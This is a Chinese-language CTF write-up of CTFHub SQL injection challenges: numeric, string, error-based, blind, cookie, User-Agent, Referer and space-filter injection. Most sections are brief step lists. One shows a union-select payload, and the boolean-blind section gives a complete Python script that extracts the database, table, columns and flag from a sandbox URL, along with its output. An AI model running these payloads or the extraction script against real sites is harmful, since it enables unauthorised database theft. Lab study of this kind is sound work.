1.数字型注入
查看字段数,2正常回显,3回显不正常,说明有两个字段数
查看数据库
查表
查字段-1 union select column_name,2 from information_schema.columns where table_name='flag'--+
回显字段内容为flag
查字段内容
2.字符型注入
输入'
闭合前面的'
查字段数
查库
查表
查字段
查字段内容
3.报错注入
根据报错返回的信息注入
查库
查表
查字段
查字段内容
4.布尔盲注
返回提示正确或错误信息,通过此信息逐个判断库,表,字段,字段内容
import requests
url='http://challenge-479ffa751e269b95.sandbox.ctfhub.com:10800/?id=1+'
for i in range(1,5):
urls=url+'and+length(database())='+str(i)+'--+'
data=requests.get(urls)
if 'query_success' in data.text:
c=i
print('数据库名长度为:'+str(c))
else:
pass
p=int(c)+1
e=''
for a in range(1,5):
for b in 'qwertyuiopasdfghjklzxcvbnm':
urlss=url+'and+substr(database(),'+str(a)+',1)='+'\''+str(b)+'\'' +'--+'
d=requests.get(urlss)
if 'query_success' in d.text:
e=e+str(b)
else:
pass
print('数据库名为:'+e)
s=str(e)
for f in range(1,10):
urlsss=url+'and+length((select+table_name+from+information_schema.tables+where+table_schema='+'\''+s+'\''+'+limit+0,1))='+str(f)+'--+'
da=requests.get(urlsss)
if 'query_success' in da.text:
g = f
print('表名长度为:' + str(g))
else:
pass
w=int(g)+1
k=''
for h in range(1,w):
for j in 'qwertyuiopasdfghjklzxcvbnm':
urlssss=url+'and+substr(( select+table_name+from+information_schema.tables+where+table_schema='+'\''+s+'\''+'+limit+0,1),'+str(h)+',1)='+'\''+str(j)+'\''+'--+'
dd=requests.get(urlssss)
if 'query_success' in dd.text:
k=k+str(j)
else:
pass
print('表名为:'+k)
n=str(k)
for m in range(1,5):
ur=url+'and+length((select+group_concat(column_name)+from+information_schema.columns+where+table_name='+'\''+n+'\''+'+limit+0,1))='+str(m)+'--+'
ddd=requests.get(ur)
if 'query_success' in ddd.text:
v=m
print('字段数为:'+str(m))
else:
pass
p=v+1
y=''
for r in range(1,p):
for t in 'qwertyuiopasdfghjklzxcvbnm':
us=url+'and+substr((select+group_concat(column_name)+from+information_schema.columns+where+table_name='+'\''+str(n)+'\''+'+limit+0,1),'+str(r)+',1)='+'\''+str(t)+'\''+'--+'
dt=requests.get(us)
if 'query_success' in dt.text:
y=y+str(t)
else:
pass
print('字段为:'+y)
yy=str(y)
try:
zzz=''
for z in range(1,100):
for zz in '0123456789qwertyuioplkjhgfdsazxcvbnm{}':
ul=url+'and+substr((select+'+yy+'+from+'+n+'),'+str(z)+',1)='+'\''+zz+'\''+'--+'
dt=requests.get(ul)
if 'query_success' in dt.text:
zzz=zzz+str(zz)
else:
pass
print(zzz)
except:
print(z)
D:\pycharm\wenjian\venv\Scripts\python.exe D:/pycharm/wenjian/Boolean.py
数据库名长度为:4
数据库名为:sqli
表名长度为:4
表名为:flag
字段数为:4
字段为:flag
ctfhub{1a044624d95239e51725397a}
Process finished with exit code 0
5.时间盲注
使用sqlmap
6.mysql结构
查库
查表
查字段
查字段内容
7.cookie注入
查看是否为注入点,正常回显,说明存在注入点
查库
查表查字段
查字段内容
8.UA注入
查库
查表
查字段
查字段内容
9.Refer注入
添加referer,查库
查表查字段
查字段内容
10.过滤空格
空格被过滤,可使用注释符/**/
代替空格
查库
查表
查字段
查字段内容